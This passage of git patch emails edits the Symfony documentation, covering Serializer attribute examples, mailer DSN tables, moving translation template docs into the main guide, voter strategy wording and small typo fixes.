+The Symfony framework is an HTTP Request-Response one.
+During the handling of an HTTP request, the framework (or any
 application using the :doc:`HttpKernel component </components/http_kernel>`)
 dispatches some :doc:`events </event_dispatcher>` which you can use to modify
-how the request is handled.
+how the request is handled and how the response is returned.
 
 Kernel Events
 -------------

From ad6075bf1770d43a8dd71b38bdce5b57bdcf05bf Mon Sep 17 00:00:00 2001
From: mostefamed <mostefa.medjahed.pro@gmail.com>
Date: Sat, 13 Mar 2021 20:23:19 +0100
Subject: [PATCH 1941/7107] Update definitions.rst

Rename the returned variable from setArgument method and the assigned variable to addArgument method
---
 service_container/definitions.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/service_container/definitions.rst b/service_container/definitions.rst
index f90a185e1c5..1107413cf99 100644
--- a/service_container/definitions.rst
+++ b/service_container/definitions.rst
@@ -92,10 +92,10 @@ fetched from the container::
     
     // adds a new argument with the name of the argument
     // $argumentName = the name of the argument in the constructor
-    $argument = $definition->setArgument('$argumentName', $argumentValue);
+    $definition = $definition->setArgument('$argumentName', $argumentValue);
 
     // adds a new argument
-    $definition->addArgument($argument);
+    $definition->addArgument($argumentValue);
 
     // replaces argument on a specific index (0 = first argument)
     $definition->replaceArgument($index, $argument);

From 068b20e5bb83ebd9f5c15cca2004ebe60db8c4bb Mon Sep 17 00:00:00 2001
From: Wojciech Kania <wojciech.kania@gmail.com>
Date: Sun, 14 Mar 2021 11:06:51 +0100
Subject: [PATCH 1942/7107] [Serializer] Add PHP Attributes to serializer
 examples

---
 components/serializer.rst | 84 +++++++++++++++++++++++++++++++++++++++
 1 file changed, 84 insertions(+)

diff --git a/components/serializer.rst b/components/serializer.rst
index c484a9ed170..5f32da7c468 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -315,6 +315,26 @@ Then, create your groups definition:
             // ...
         }
 
+    .. code-block:: php-attributes
+
+        namespace Acme;
+
+        use Symfony\Component\Serializer\Annotation\Groups;
+
+        class MyObj
+        {
+            #[Groups(['group1', 'group2'])]
+            public $foo;
+
+            #[Groups(['group3'])]
+            public function getBar() // is* methods are also supported
+            {
+                return $this->bar;
+            }
+
+            // ...
+        }
+
     .. code-block:: yaml
 
         Acme\MyObj:
@@ -437,6 +457,20 @@ Option 1: Using ``@Ignore`` Annotation
             public $bar;
         }
 
+    .. code-block:: php-attributes
+
+        namespace App\Model;
+
+        use Symfony\Component\Serializer\Annotation\Ignore;
+
+        class MyClass
+        {
+            public $foo;
+
+            #[Ignore]
+            public $bar;
+        }
+
     .. code-block:: yaml
 
         App\Model\MyClass:
@@ -658,6 +692,25 @@ defines a ``Person`` entity with a ``firstName`` property:
             // ...
         }
 
+    .. code-block:: php-attributes
+
+        namespace App\Entity;
+
+        use Symfony\Component\Serializer\Annotation\SerializedName;
+
+        class Person
+        {
+            #[SerializedName('customer_name')]
+            private $firstName;
+
+            public function __construct($firstName)
+            {
+                $this->firstName = $firstName;
+            }
+
+            // ...
+        }
+
     .. code-block:: yaml
 
         App\Entity\Person:
@@ -1214,6 +1267,20 @@ Here, we set it to 2 for the ``$child`` property:
             // ...
         }
 
+    .. code-block:: php-attributes
+
+        namespace Acme;
+
+        use Symfony\Component\Serializer\Annotation\MaxDepth;
+
+        class MyObj
+        {
+            #[MaxDepth(2)]
+            public $child;
+
+            // ...
+        }
+
     .. code-block:: yaml
 
         Acme\MyObj:
@@ -1524,6 +1591,23 @@ and ``BitBucketCodeRepository`` classes:
             // ...
         }
 
+    .. code-block:: php-attributes
+
+        namespace App;
+
+        use App\BitBucketCodeRepository;
+        use App\GitHubCodeRepository;
+        use Symfony\Component\Serializer\Annotation\DiscriminatorMap;
+
+        #[DiscriminatorMap(typeProperty: 'type', mapping: [
+            'github' => GitHubCodeRepository::class,
+            'bitbucket' => BitBucketCodeRepository::class,
+        ])]
+        interface CodeRepository
+        {
+            // ...
+        }
+
     .. code-block:: yaml
 
         App\CodeRepository:

From 8c0f61ce423e02bd0f0cec10fdbf5fc8474f049b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sun, 14 Mar 2021 13:01:51 +0100
Subject: [PATCH 1943/7107] [Validator] Fixed a minor RST syntax issue

---
 reference/constraints/Compound.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/Compound.rst b/reference/constraints/Compound.rst
index 53ce70c6df2..95d9ba10789 100644
--- a/reference/constraints/Compound.rst
+++ b/reference/constraints/Compound.rst
@@ -21,7 +21,7 @@ Basic Usage
 -----------
 
 Suppose that you have different places where a user password must be validated,
-you can create your own named set or requirements to be reused consistently everywhere::
+you can create your own named set or requirements to be reused consistently everywhere:
 
 .. configuration-block::
 

From 2f3d95778ff70da9288ae87b4ce38309681435b2 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Sun, 14 Mar 2021 19:11:11 +0100
Subject: [PATCH 1944/7107] [Session] Add missing semicolon

---
 session/locale_sticky_session.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/session/locale_sticky_session.rst b/session/locale_sticky_session.rst
index f8caef23370..265298f864b 100644
--- a/session/locale_sticky_session.rst
+++ b/session/locale_sticky_session.rst
@@ -109,7 +109,8 @@ via some "Change Locale" route & controller), or create a route with the :ref:`_
             $container->register(LocaleSubscriber::class)
                 ->addArgument('%kernel.default_locale%')
                 // uncomment the next line if you are not using autoconfigure
-                // ->addTag('kernel.event_subscriber');
+                // ->addTag('kernel.event_subscriber')
+            ;
 
 That's it! Now celebrate by changing the user's locale and seeing that it's
 sticky throughout the request.

From 74d2938580c363c38df6979700103483ec0b1d69 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Sun, 14 Mar 2021 19:38:47 +0100
Subject: [PATCH 1945/7107] [Intl] Fix typos

---
 components/intl.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/intl.rst b/components/intl.rst
index 6417489b14e..dafe45800d0 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -110,7 +110,7 @@ to catching the exception, you can also check if a given language code is valid:
 
     $isValidLanguage = Languages::exists($languageCode);
 
-Or if you have a alpha3 language code you want to check::
+Or if you have an alpha3 language code you want to check::
 
     $isValidLanguage = Languages::alpha3CodeExists($alpha3Code);
 
@@ -209,7 +209,7 @@ to catching the exception, you can also check if a given country code is valid::
 
     $isValidCountry = Countries::exists($alpha2Code);
 
-Or if you have a alpha3 country code you want to check::
+Or if you have an alpha3 country code you want to check::
 
     $isValidCountry = Countries::alpha3CodeExists($alpha3Code);
 

From ac44f85bd9596c5eff147f1b6ce93d8e7cf31817 Mon Sep 17 00:00:00 2001
From: Peter <github@comp.se>
Date: Sun, 7 Mar 2021 21:03:35 +0100
Subject: [PATCH 1946/7107] Update description for Access decision strategies

Updated the description to reflect the current behavior of the builtin AccessDecisionManager.
---
 security/voters.rst | 12 ++++++++----
 1 file changed, 8 insertions(+), 4 deletions(-)

diff --git a/security/voters.rst b/security/voters.rst
index 98ba54519af..869df508d50 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -278,12 +278,16 @@ There are three strategies available:
     This grants access as soon as there is *one* voter granting access;
 
 ``consensus``
-    This grants access if there are more voters granting access than denying;
+    This grants access if there are more voters granting access than
+    denying. If case of a tie the decision is based on the
+    ``allow_if_equal_granted_denied`` config option (defaulting to ``true``);
 
 ``unanimous``
-    This only grants access if there is no voter denying access. If all voters
-    abstained from voting, the decision is based on the ``allow_if_all_abstain``
-    config option (which defaults to ``false``).
+    This only grants access if there is no voter denying access.
+
+Regardless the chosen strategy, if all voters abstained from voting, the
+decision is based on the ``allow_if_all_abstain`` config option (which
+defaults to ``false``).
 
 In the above scenario, both voters should grant access in order to grant access
 to the user to read the post. In this case, the default strategy is no longer

From d24d45c3bfdc68e9b6040e939fc9d21ee7588be6 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Fri, 12 Mar 2021 17:16:49 +0100
Subject: [PATCH 1947/7107] [Translation] Move the "templates" section into the
 main guide

---
 _build/redirection_map    |   1 +
 translation.rst           | 121 +++++++++++++++++++++++++++++++++++--
 translation/templates.rst | 123 --------------------------------------
 3 files changed, 116 insertions(+), 129 deletions(-)
 delete mode 100644 translation/templates.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index 4954ce471fa..fe432c55aa1 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -458,6 +458,7 @@
 /templating/embedding_controllers /templates#embedding-controllers
 /templating/inheritance /templates#template-inheritance-and-layouts
 /testing/doctrine /testing/database
+/translation/templates /translation#translation-in-templates
 /doctrine/lifecycle_callbacks /doctrine/events
 /doctrine/event_listeners_subscribers /doctrine/events
 /doctrine/common_extensions /doctrine
diff --git a/translation.rst b/translation.rst
index 0e1601cc536..bb822614451 100644
--- a/translation.rst
+++ b/translation.rst
@@ -304,14 +304,124 @@ Translations in Templates
 -------------------------
 
 Most of the time, translation occurs in templates. Symfony provides native
-support for both Twig and PHP templates:
+support for both Twig and PHP templates.
 
-.. code-block:: html+twig
+Using Twig Tags
+~~~~~~~~~~~~~~~
 
-    <h1>{% trans %}Symfony is great!{% endtrans %}</h1>
+Symfony provides specialized Twig tags (``trans`` and ``transchoice``) to
+help with message translation of *static blocks of text*:
+
+.. code-block:: twig
+
+    {% trans %}Hello %name%{% endtrans %}
+
+    {% transchoice count %}
+        {0} There are no apples|{1} There is one apple|]1,Inf[ There are %count% apples
+    {% endtranschoice %}
+
+The ``transchoice`` tag automatically gets the ``%count%`` variable from
+the current context and passes it to the translator. This mechanism only
+works when you use a placeholder following the ``%var%`` pattern.
+
+.. deprecated:: 4.2
+
+    The ``transchoice`` tag is deprecated since Symfony 4.2 and will be
+    removed in 5.0. Use the :doc:`ICU MessageFormat </translation/message_format>` with
+    the ``trans`` tag instead.
+
+.. caution::
+
+    The ``%var%`` notation of placeholders is required when translating in
+    Twig templates using the tag.
+
+.. tip::
+
+    If you need to use the percent character (``%``) in a string, escape it by
+    doubling it: ``{% trans %}Percent: %percent%%%{% endtrans %}``
+
+You can also specify the message domain and pass some additional variables:
+
+.. code-block:: twig
+
+    {% trans with {'%name%': 'Fabien'} from 'app' %}Hello %name%{% endtrans %}
+
+    {% trans with {'%name%': 'Fabien'} from 'app' into 'fr' %}Hello %name%{% endtrans %}
+
+    {% transchoice count with {'%name%': 'Fabien'} from 'app' %}
+        {0} %name%, there are no apples|{1} %name%, there is one apple|]1,Inf[ %name%, there are %count% apples
+    {% endtranschoice %}
+
+.. _translation-filters:
+
+Using Twig Filters
+~~~~~~~~~~~~~~~~~~
+
+The ``trans`` and ``transchoice`` filters can be used to translate *variable
+texts* and complex expressions:
+
+.. code-block:: twig
+
+    {{ message|trans }}
+
+    {{ message|transchoice(5) }}
+
+    {{ message|trans({'%name%': 'Fabien'}, 'app') }}
+
+    {{ message|transchoice(5, {'%name%': 'Fabien'}, 'app') }}
+
+.. deprecated:: 4.2
+
+    The ``transchoice`` filter is deprecated since Symfony 4.2 and will be
+    removed in 5.0. Use the :doc:`ICU MessageFormat </translation/message_format>` with
+    the ``trans`` filter instead.
+
+.. tip::
+
+    Using the translation tags or filters have the same effect, but with
+    one subtle difference: automatic output escaping is only applied to
+    translations using a filter. In other words, if you need to be sure
+    that your translated message is *not* output escaped, you must apply
+    the ``raw`` filter after the translation filter:
+
+    .. code-block:: html+twig
+
+        {# text translated between tags is never escaped #}
+        {% trans %}
+            <h3>foo</h3>
+        {% endtrans %}
+
+        {% set message = '<h3>foo</h3>' %}
+
+        {# strings and variables translated via a filter are escaped by default #}
+        {{ message|trans|raw }}
+        {{ '<h3>bar</h3>'|trans|raw }}
+
+.. tip::
+
+    You can set the translation domain for an entire Twig template with a single tag:
+
+    .. code-block:: twig
+
+       {% trans_default_domain 'app' %}
+
+    Note that this only influences the current template, not any "included"
+    template (in order to avoid side effects).
+
+PHP Templates
+~~~~~~~~~~~~~
+
+The translator service is accessible in PHP templates through the
+``translator`` helper::
+
+    <?= $view['translator']->trans('Symfony is great') ?>
+
+    <?= $view['translator']->transChoice(
+        '{0} There are no apples|{1} There is one apple|]1,Inf[ There are %count% apples',
+        10,
+        ['%count%' => 10]
+    ) ?>
 
-Read :doc:`/translation/templates` for more information about the Twig tags and
-filters for translation.
 
 Forcing the Translator Locale
 -----------------------------
@@ -600,7 +710,6 @@ Learn more
     :maxdepth: 1
 
     translation/message_format
-    translation/templates
     translation/locale
     translation/debug
     translation/lint
diff --git a/translation/templates.rst b/translation/templates.rst
deleted file mode 100644
index 903f1934d92..00000000000
--- a/translation/templates.rst
+++ /dev/null
@@ -1,123 +0,0 @@
-Using Translation in Templates
-==============================
-
-Twig Templates
---------------
-
-.. _translation-tags:
-
-Using Twig Tags
-~~~~~~~~~~~~~~~
-
-Symfony provides specialized Twig tags (``trans`` and ``transchoice``) to
-help with message translation of *static blocks of text*:
-
-.. code-block:: twig
-
-    {% trans %}Hello %name%{% endtrans %}
-
-    {% transchoice count %}
-        {0} There are no apples|{1} There is one apple|]1,Inf[ There are %count% apples
-    {% endtranschoice %}
-
-The ``transchoice`` tag automatically gets the ``%count%`` variable from
-the current context and passes it to the translator. This mechanism only
-works when you use a placeholder following the ``%var%`` pattern.
-
-.. deprecated:: 4.2
-
-    The ``transchoice`` tag is deprecated since Symfony 4.2 and will be
-    removed in 5.0. Use the :doc:`ICU MessageFormat </translation/message_format>` with
-    the ``trans`` tag instead.
-
-.. caution::
-
-    The ``%var%`` notation of placeholders is required when translating in
-    Twig templates using the tag.
-
-.. tip::
-
-    If you need to use the percent character (``%``) in a string, escape it by
-    doubling it: ``{% trans %}Percent: %percent%%%{% endtrans %}``
-
-You can also specify the message domain and pass some additional variables:
-
-.. code-block:: twig
-
-    {% trans with {'%name%': 'Fabien'} from 'app' %}Hello %name%{% endtrans %}
-
-    {% trans with {'%name%': 'Fabien'} from 'app' into 'fr' %}Hello %name%{% endtrans %}
-
-    {% transchoice count with {'%name%': 'Fabien'} from 'app' %}
-        {0} %name%, there are no apples|{1} %name%, there is one apple|]1,Inf[ %name%, there are %count% apples
-    {% endtranschoice %}
-
-.. _translation-filters:
-
-Using Twig Filters
-~~~~~~~~~~~~~~~~~~
-
-The ``trans`` and ``transchoice`` filters can be used to translate *variable
-texts* and complex expressions:
-
-.. code-block:: twig
-
-    {{ message|trans }}
-
-    {{ message|transchoice(5) }}
-
-    {{ message|trans({'%name%': 'Fabien'}, 'app') }}
-
-    {{ message|transchoice(5, {'%name%': 'Fabien'}, 'app') }}
-
-.. deprecated:: 4.2
-
-    The ``transchoice`` filter is deprecated since Symfony 4.2 and will be
-    removed in 5.0. Use the :doc:`ICU MessageFormat </translation/message_format>` with
-    the ``trans`` filter instead.
-
-.. tip::
-
-    Using the translation tags or filters have the same effect, but with
-    one subtle difference: automatic output escaping is only applied to
-    translations using a filter. In other words, if you need to be sure
-    that your translated message is *not* output escaped, you must apply
-    the ``raw`` filter after the translation filter:
-
-    .. code-block:: html+twig
-
-        {# text translated between tags is never escaped #}
-        {% trans %}
-            <h3>foo</h3>
-        {% endtrans %}
-
-        {% set message = '<h3>foo</h3>' %}
-
-        {# strings and variables translated via a filter are escaped by default #}
-        {{ message|trans|raw }}
-        {{ '<h3>bar</h3>'|trans|raw }}
-
-.. tip::
-
-    You can set the translation domain for an entire Twig template with a single tag:
-
-    .. code-block:: twig
-
-       {% trans_default_domain 'app' %}
-
-    Note that this only influences the current template, not any "included"
-    template (in order to avoid side effects).
-
-PHP Templates
--------------
-
-The translator service is accessible in PHP templates through the
-``translator`` helper::
-
-    <?= $view['translator']->trans('Symfony is great') ?>
-
-    <?= $view['translator']->transChoice(
-        '{0} There are no apples|{1} There is one apple|]1,Inf[ There are %count% apples',
-        10,
-        ['%count%' => 10]
-    ) ?>

From 271f8f6d64d9bb25893e88ae150c2507a6d3d64a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 15 Mar 2021 20:13:00 +0100
Subject: [PATCH 1948/7107] Readded a missing reference

---
 translation.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/translation.rst b/translation.rst
index bb822614451..ac14dd8c318 100644
--- a/translation.rst
+++ b/translation.rst
@@ -306,6 +306,8 @@ Translations in Templates
 Most of the time, translation occurs in templates. Symfony provides native
 support for both Twig and PHP templates.
 
+.. _translation-tags:
+
 Using Twig Tags
 ~~~~~~~~~~~~~~~
 

From 518926f33835067cc67a57c887e3490fe86d6961 Mon Sep 17 00:00:00 2001
From: Massimiliano Arione <garakkio@gmail.com>
Date: Tue, 16 Mar 2021 08:53:19 +0100
Subject: [PATCH 1949/7107] add a warning about Amazon SES signature

---
 mailer.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index ff567eab3bc..0a44eace54c 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -160,6 +160,11 @@ party provider:
     For example, the DSN ``ses+smtp://ABC1234:abc+12/345@default`` should be
     configured as ``ses+smtp://ABC1234:abc%2B12%2F345@default``
 
+.. caution::
+
+    Symfony 4.4 only suppports Amazon SES Signature Version 3, that has been deprecated.
+    You need to use symfony/amazon-mailer 5.1 or newer.
+
 .. tip::
 
     If you want to override the default host for a provider (to debug an issue using

From 5cabc722845f9f08d4636d378636f56e07a70c03 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 16 Mar 2021 09:25:52 +0100
Subject: [PATCH 1950/7107] Typo

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index 0a44eace54c..e236b27c1a5 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -162,7 +162,7 @@ party provider:
 
 .. caution::
 
-    Symfony 4.4 only suppports Amazon SES Signature Version 3, that has been deprecated.
+    Symfony 4.4 only supports Amazon SES Signature Version 3, that has been deprecated.
     You need to use symfony/amazon-mailer 5.1 or newer.
 
 .. tip::

From dd280ea98bcb48529038852d7b3b653d8c72be3c Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 16 Mar 2021 09:27:04 +0100
Subject: [PATCH 1951/7107] minor

---
 mailer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index e236b27c1a5..dd0c14956c3 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -162,8 +162,8 @@ party provider:
 
 .. caution::
 
-    Symfony 4.4 only supports Amazon SES Signature Version 3, that has been deprecated.
-    You need to use symfony/amazon-mailer 5.1 or newer.
+    Symfony 4.4 only supports Amazon SES signature version 3 which has been
+    deprecated. You need to use ``symfony/amazon-mailer`` 5.1 or newer.
 
 .. tip::
 

From c9cff9fa76541ca82a240048f3aae48e4c2d25fa Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 16 Mar 2021 09:27:56 +0100
Subject: [PATCH 1952/7107] Remove caution. refs #15106

---
 mailer.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index bbb7ab9305c..8f98d9b766f 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -174,11 +174,6 @@ party provider:
     For example, the DSN ``ses+smtp://ABC1234:abc+12/345@default`` should be
     configured as ``ses+smtp://ABC1234:abc%2B12%2F345@default``
 
-.. caution::
-
-    Symfony 4.4 only supports Amazon SES signature version 3 which has been
-    deprecated. You need to use ``symfony/amazon-mailer`` 5.1 or newer.
-
 .. note::
 
     When using SMTP, the default timeout for sending a message before throwing an

From e37983a7cc8316fc409a0c9b6a5fc85b95309d22 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <antoine.makdessi@agriconomie.com>
Date: Tue, 16 Mar 2021 16:34:14 +0100
Subject: [PATCH 1953/7107] Update logging.rst

---
 logging.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/logging.rst b/logging.rst
index d4ed95189ba..ae9ddd10a73 100644
--- a/logging.rst
+++ b/logging.rst
@@ -23,7 +23,7 @@ To do so, :ref:`override the "logger" service definition <service-psr4-loader>`.
 Logging a Message
 -----------------
 
-To log a message, inject the default logger in your controller::
+To log a message, inject the default logger in your controller or service::
 
     use Psr\Log\LoggerInterface;
 

From 61dc76568fe769311e98b76df8682b190df34e41 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Wed, 17 Mar 2021 10:18:54 +0100
Subject: [PATCH 1954/7107] Use UserBadge in all passports

---
 security/experimental_authenticators.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/security/experimental_authenticators.rst b/security/experimental_authenticators.rst
index eb0ffa098e0..269aefe01a0 100644
--- a/security/experimental_authenticators.rst
+++ b/security/experimental_authenticators.rst
@@ -494,7 +494,7 @@ The following credential classes are supported by default:
         use Symfony\Component\Security\Http\Authenticator\Passport\Credentials\PasswordCredentials;
 
         // ...
-        return new Passport($user, new PasswordCredentials($plaintextPassword));
+        return new Passport(new UserBadge($email), new PasswordCredentials($plaintextPassword));
 
 :class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Credentials\\CustomCredentials`
     Allows a custom closure to check credentials::
@@ -502,7 +502,7 @@ The following credential classes are supported by default:
         use Symfony\Component\Security\Http\Authenticator\Passport\Credentials\CustomCredentials;
 
         // ...
-        return new Passport($user, new CustomCredentials(
+        return new Passport(new UserBadge($email), new CustomCredentials(
             // If this function returns anything else than `true`, the credentials
             // are marked as invalid.
             // The $credentials parameter is equal to the next argument of this class
@@ -581,7 +581,7 @@ would initialize the passport like this::
             // ... validate no parameter is empty
 
             return new Passport(
-                new UserBadge($user),
+                new UserBadge($email),
                 new PasswordCredentials($password),
                 [new CsrfTokenBadge('login', $csrfToken)]
             );

From 316da38f2444913392161afa202e95e5be3edca3 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 17 Mar 2021 11:33:49 +0100
Subject: [PATCH 1955/7107] Fix DSN

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index 8f98d9b766f..15c3d48ddcf 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -165,7 +165,7 @@ party provider:
  Mailjet              mailjet+smtp://ACCESS_KEY:SECRET_KEY@default         n/a                                         mailjet+api://ACCESS_KEY:SECRET_KEY@default
  Postmark             postmark+smtp://ID:ID@default                        n/a                                         postmark+api://KEY@default
  Sendgrid             sendgrid+smtp://apikey:KEY@default                   n/a                                         sendgrid+api://KEY@default
- Sendinblue           sendinblue+smtp://apikey:USERNAME:PASSWORD@default   n/a                                         sendinblue+api://KEY@default
+ Sendinblue           sendinblue+smtp://USERNAME:PASSWORD@default          n/a                                         sendinblue+api://KEY@default
 ==================== ==================================================== =========================================== ========================================
 
 .. caution::

From 89a9964dea89a754283a00d966ede0636c6fcf34 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 17 Mar 2021 11:35:22 +0100
Subject: [PATCH 1956/7107] Fix DSNs

---
 mailer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index dd0c14956c3..dda2efc5898 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -150,8 +150,8 @@ party provider:
  Google Gmail         gmail+smtp://USERNAME:PASSWORD@default     n/a                                         n/a
  Mailchimp Mandrill   mandrill+smtp://USERNAME:PASSWORD@default  mandrill+https://KEY@default                mandrill+api://KEY@default
  Mailgun              mailgun+smtp://USERNAME:PASSWORD@default   mailgun+https://KEY:DOMAIN@default          mailgun+api://KEY:DOMAIN@default
- Postmark             postmark+smtp://ID:ID@default              n/a                                         postmark+api://KEY@default
- Sendgrid             sendgrid+smtp://apikey:KEY@default         n/a                                         sendgrid+api://KEY@default
+ Postmark             postmark+smtp://ID@default                 n/a                                         postmark+api://KEY@default
+ Sendgrid             sendgrid+smtp://KEY@default                n/a                                         sendgrid+api://KEY@default
 ==================== ========================================== =========================================== ========================================
 
 .. caution::

From f019d537fa82e5f93929f3c1b4c9f2a469219141 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 17 Mar 2021 11:37:17 +0100
Subject: [PATCH 1957/7107] Use correct domain

---
 mailer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index dd0c14956c3..0f57ba46164 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -173,8 +173,8 @@ party provider:
     .. code-block:: env
 
         # .env
-        MAILER_DSN=mailgun+https://KEY:DOMAIN@example.com
-        MAILER_DSN=mailgun+https://KEY:DOMAIN@example.com:99
+        MAILER_DSN=mailgun+https://KEY:DOMAIN@requestbin.com
+        MAILER_DSN=mailgun+https://KEY:DOMAIN@requestbin.com:99
 
     Note that the protocol is *always* HTTPs and cannot be changed.
 

From b66dd5f27581c0cf7df1e66966b28c502f29eb51 Mon Sep 17 00:00:00 2001
From: cedric lombardot <cedric.lombardot@gmail.com>
Date: Wed, 17 Mar 2021 16:51:14 +0100
Subject: [PATCH 1958/7107] Fix to use yaml syntax

---
 deployment/proxies.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index 5f24a69a418..a51aa1c8889 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -31,11 +31,11 @@ and what headers your reverse proxy uses to send information:
         # config/packages/framework.yaml
         framework:
             # ...
-            // the IP address (or range) of your proxy
+            # the IP address (or range) of your proxy
             trusted_proxies: '192.0.0.1,10.0.0.0/8'
-            // trust *all* "X-Forwarded-*" headers
+            # trust *all* "X-Forwarded-*" headers
             trusted_headers: ['x-forwarded-for', 'x-forwarded-host', 'x-forwarded-proto', 'x-forwarded-port']
-            // or, if your proxy instead uses the "Forwarded" header
+            # or, if your proxy instead uses the "Forwarded" header
             trusted_headers: ['forwarded']
 
     .. code-block:: xml

From 97614c0f05bc84e035c0a21ed0c019d27e2e5024 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Wed, 17 Mar 2021 17:30:31 +0100
Subject: [PATCH 1959/7107] Remove Jakub from the core team

---
 contributing/code/core_team.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index 4c719ff4330..136edb28dbb 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -60,7 +60,6 @@ Active Core Members
   * **Christian Flothmann** (`xabbuh`_);
   * **Tobias Schultze** (`Tobion`_);
   * **Kévin Dunglas** (`dunglas`_);
-  * **Jakub Zalas** (`jakzal`_);
   * **Javier Eguiluz** (`javiereguiluz`_);
   * **Grégoire Pineau** (`lyrixx`_);
   * **Ryan Weaver** (`weaverryan`_);
@@ -106,7 +105,8 @@ Symfony contributions:
 * **Romain Neutron** (`romainneutron`_);
 * **Jordi Boggiano** (`Seldaek`_);
 * **Lukas Kahwe Smith** (`lsmith77`_);
-* **Jules Pietri** (`HeahDude`_).
+* **Jules Pietri** (`HeahDude`_);
+* **Jakub Zalas** (`jakzal`_).
 
 Core Membership Application
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~

From 3a10fff91326c84f1c3956d19a60d89f513501ab Mon Sep 17 00:00:00 2001
From: Nicolas Hart <nclsHart@users.noreply.github.com>
Date: Wed, 17 Mar 2021 22:23:20 +0100
Subject: [PATCH 1960/7107] [Testing] Fix typo in assertEmailAttachmentCount

---
 testing/functional_tests_assertions.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing/functional_tests_assertions.rst b/testing/functional_tests_assertions.rst
index edf1a6bb679..29e4b1e5e3a 100644
--- a/testing/functional_tests_assertions.rst
+++ b/testing/functional_tests_assertions.rst
@@ -84,7 +84,7 @@ Mailer
 - ``assertQueuedEmailCount()``
 - ``assertEmailIsQueued()``
 - ``assertEmailIsNotQueued()``
-- ``assertEmailAttachementCount()``
+- ``assertEmailAttachmentCount()``
 - ``assertEmailTextBodyContains()``
 - ``assertEmailTextBodyNotContains()``
 - ``assertEmailHtmlBodyContains()``

From 07dea78ee4fe513abd4d6abf0622d1a8315a7aab Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <antoine.makdessi@agriconomie.com>
Date: Fri, 19 Mar 2021 09:04:52 +0100
Subject: [PATCH 1961/7107] Update workflow.rst

---
 workflow.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/workflow.rst b/workflow.rst
index 7f7acffaa3a..fa489c63cf7 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -238,7 +238,8 @@ Accessing the Workflow in a Class
 
 You can use the workflow inside a class by using
 :doc:`service autowiring </service_container/autowiring>` and using
-``camelCased workflow name + Workflow`` as parameter name::
+``camelCased workflow name + Workflow`` as parameter name. If it is a state machine type
+you can use ``camelCased workflow name + StateMachine``::
 
     use App\Entity\BlogPost;
     use Symfony\Component\Workflow\WorkflowInterface;

From 455edf4f2a7a764ae16ab06b5878600f38149dfd Mon Sep 17 00:00:00 2001
From: Hossein Vakili <hossein.vakili.sadeghi@gmail.com>
Date: Thu, 18 Mar 2021 13:01:45 +0100
Subject: [PATCH 1962/7107] Add Oracle DATABASE_URL instruction

---
 doctrine.rst | 3 +++
